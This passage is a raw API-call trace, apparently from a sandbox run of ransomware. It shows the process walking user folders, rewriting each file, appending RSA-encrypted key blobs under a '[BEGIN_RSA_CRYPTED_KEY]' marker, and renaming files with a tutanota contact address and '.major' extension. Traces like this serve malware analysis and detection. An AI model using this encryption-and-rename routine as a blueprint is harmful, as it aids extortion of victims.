pcchString=0x2e3f9a8) returned 1 [0148.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.864] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="U1EkqK3sqiT/JePY4Li2ls3Sd20aMO3q6YxRhJciCEO9CTEi0DxEkav8JH52tmje\n9+h4UPkWbdZb0Uutky7MBU/dk0qiLJEIsDKcKQh9zznxmUqsHCUaYf6LddaZHFgX\nn4x1eetHZl9pmjGTzIHgU6j+PT5+mWZKX4x4p/Fq2EC2kuRsyTbXu+c+/6mjjUzp\nkdkXTBrj9lD8J27jGEQM/bXqdIV5iYRMgJVbTtY1lqEgtwDB1fI5v5m0RijSLito\n0aLgCmu6X5wbDzy1IsSEeSE44bWeU4VBvVKyGspoqDsRey74aQNspSxnyjj1FO/J\nA+3ak+fTHpLl8OMsBiYFEQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.864] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.864] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.864] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.864] CloseHandle (hObject=0x600) returned 1 [0148.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.864] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\3b8zhwJ8f88GMvoUy.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\3b8zhwj8f88gmvouy.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\3b8zhwJ8f88GMvoUy.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\3b8zhwj8f88gmvouy.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0148.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0148.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0148.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0148.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0148.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0148.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0148.866] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\PrintHood\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c73070, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0x87435780, ftLastAccessTime.dwHighDateTime=0x1d4c8aa, ftLastWriteTime.dwLowDateTime=0x87435780, ftLastWriteTime.dwHighDateTime=0x1d4c8aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0f8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zlyGqa755DQtGy.gif", cAlternateFileName="ZLYGQA~1.GIF")) returned 0xffffffff [0148.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef20 [0148.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0148.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0148.867] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Recent\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c73070, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0x87435780, ftLastAccessTime.dwHighDateTime=0x1d4c8aa, ftLastWriteTime.dwLowDateTime=0x87435780, ftLastWriteTime.dwHighDateTime=0x1d4c8aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0f8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zlyGqa755DQtGy.gif", cAlternateFileName="ZLYGQA~1.GIF")) returned 0xffffffff [0148.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0148.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef20 | out: hHeap=0x570000) returned 1 [0148.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0148.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0148.867] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Saved Games\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630900 [0148.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0148.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0148.867] GetLastError () returned 0x5 [0148.867] SetLastError (dwErrCode=0x5) [0148.867] GetLastError () returned 0x5 [0148.867] SetLastError (dwErrCode=0x5) [0148.867] GetLastError () returned 0x5 [0148.867] SetLastError (dwErrCode=0x5) [0148.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0148.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630940 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630940 | out: hHeap=0x570000) returned 1 [0148.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0148.868] FindNextFileW (in: hFindFile=0x630900, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0148.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.868] GetLastError () returned 0x5 [0148.868] SetLastError (dwErrCode=0x5) [0148.868] GetLastError () returned 0x5 [0148.868] SetLastError (dwErrCode=0x5) [0148.868] GetLastError () returned 0x5 [0148.868] SetLastError (dwErrCode=0x5) [0148.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0148.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630ec0 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630ec0 | out: hHeap=0x570000) returned 1 [0148.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0148.868] FindNextFileW (in: hFindFile=0x630900, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0148.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0148.869] GetLastError () returned 0x5 [0148.869] SetLastError (dwErrCode=0x5) [0148.869] GetLastError () returned 0x5 [0148.869] SetLastError (dwErrCode=0x5) [0148.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0148.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0148.869] GetLastError () returned 0x5 [0148.869] SetLastError (dwErrCode=0x5) [0148.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0148.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0148.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0148.869] FindNextFileW (in: hFindFile=0x630900, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152aa46e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152aa46e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0148.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0148.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0148.869] GetLastError () returned 0x5 [0148.869] SetLastError (dwErrCode=0x5) [0148.869] GetLastError () returned 0x5 [0148.869] SetLastError (dwErrCode=0x5) [0148.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0148.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0148.869] GetLastError () returned 0x5 [0148.869] SetLastError (dwErrCode=0x5) [0148.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.869] FindNextFileW (in: hFindFile=0x630900, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152aa46e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152aa46e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0148.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0148.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.869] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.870] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Saved Games\\desktop.ini", dwFileAttributes=0x80) returned 1 [0148.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0148.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0148.870] CreateFileW (lpFileName="\\Users\\FD1HVy\\Saved Games\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604 [0148.870] GetFileSizeEx (in: hFile=0x604, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=282) returned 1 [0148.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11a) returned 0x57eca8 [0148.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11a) returned 0x5c1ce8 [0148.870] ReadFile (in: hFile=0x604, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x11a, lpOverlapped=0x0) returned 1 [0148.871] SetFilePointer (in: hFile=0x604, lDistanceToMove=-282, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.871] WriteFile (in: hFile=0x604, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11a, lpOverlapped=0x0) returned 1 [0148.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0148.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.871] SetFilePointer (in: hFile=0x604, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11a [0148.871] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.871] WriteFile (in: hFile=0x604, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.872] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.872] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.872] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.872] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="sqYuXqgwlpACuej5YnS6gJV9bIEUN/L4UVx6jKR8vAWUbqIpt7UYBbei5lxhyq7Q\n4eJd1GpgBfngNLXORadXPpiOnZmH9xGwm1R0kLDWBQ7XhcSR9I2GiBgu5z62x1Sk\nH4ngb58/BqXCOHdyWOaZaTL8yQBcYTMuhVQHR3PswP5hXdMwLuBNxIaMAXkrL/Tg\n4WtttRGgmZtQFvVpiShpMHy/zprwVaMer25pApr/91RAgTu5D0sKmfu7Eez3vSZ3\nqHJyjn5/3IXd7APredaopLhEdx4ZD2JDJKBmCDqa4GXURtEZQ+eubtswF66FYrAm\n7nIfMqhDCcr53H/agZtLNQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.872] WriteFile (in: hFile=0x604, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.872] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.872] WriteFile (in: hFile=0x604, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.872] CloseHandle (hObject=0x604) returned 1 [0148.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.873] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Saved Games\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Saved Games\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0148.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecb8 | out: hHeap=0x570000) returned 1 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0148.877] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Searches\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630a80 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0148.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0148.877] GetLastError () returned 0x0 [0148.877] SetLastError (dwErrCode=0x0) [0148.877] GetLastError () returned 0x0 [0148.877] SetLastError (dwErrCode=0x0) [0148.877] GetLastError () returned 0x0 [0148.877] SetLastError (dwErrCode=0x0) [0148.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0148.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0148.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630ac0 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630ac0 | out: hHeap=0x570000) returned 1 [0148.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0148.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0148.877] FindNextFileW (in: hFindFile=0x630a80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0148.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0148.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0148.878] GetLastError () returned 0x0 [0148.878] SetLastError (dwErrCode=0x0) [0148.878] GetLastError () returned 0x0 [0148.878] SetLastError (dwErrCode=0x0) [0148.878] GetLastError () returned 0x0 [0148.878] SetLastError (dwErrCode=0x0) [0148.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0148.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0148.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0148.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630940 [0148.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630940 | out: hHeap=0x570000) returned 1 [0148.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0148.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0148.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0148.878] FindNextFileW (in: hFindFile=0x630a80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0148.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0148.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0148.878] GetLastError () returned 0x0 [0148.878] SetLastError (dwErrCode=0x0) [0148.878] GetLastError () returned 0x0 [0148.878] SetLastError (dwErrCode=0x0) [0148.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0148.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0148.878] GetLastError () returned 0x0 [0148.879] SetLastError (dwErrCode=0x0) [0148.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0148.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0148.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0148.879] FindNextFileW (in: hFindFile=0x630a80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44269063, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44269063, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44269063, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0148.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0148.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0148.879] GetLastError () returned 0x0 [0148.879] SetLastError (dwErrCode=0x0) [0148.879] GetLastError () returned 0x0 [0148.879] SetLastError (dwErrCode=0x0) [0148.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0148.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0148.879] GetLastError () returned 0x0 [0148.879] SetLastError (dwErrCode=0x0) [0148.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0148.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0148.879] HeapFree (in: hHeap=0x570000, 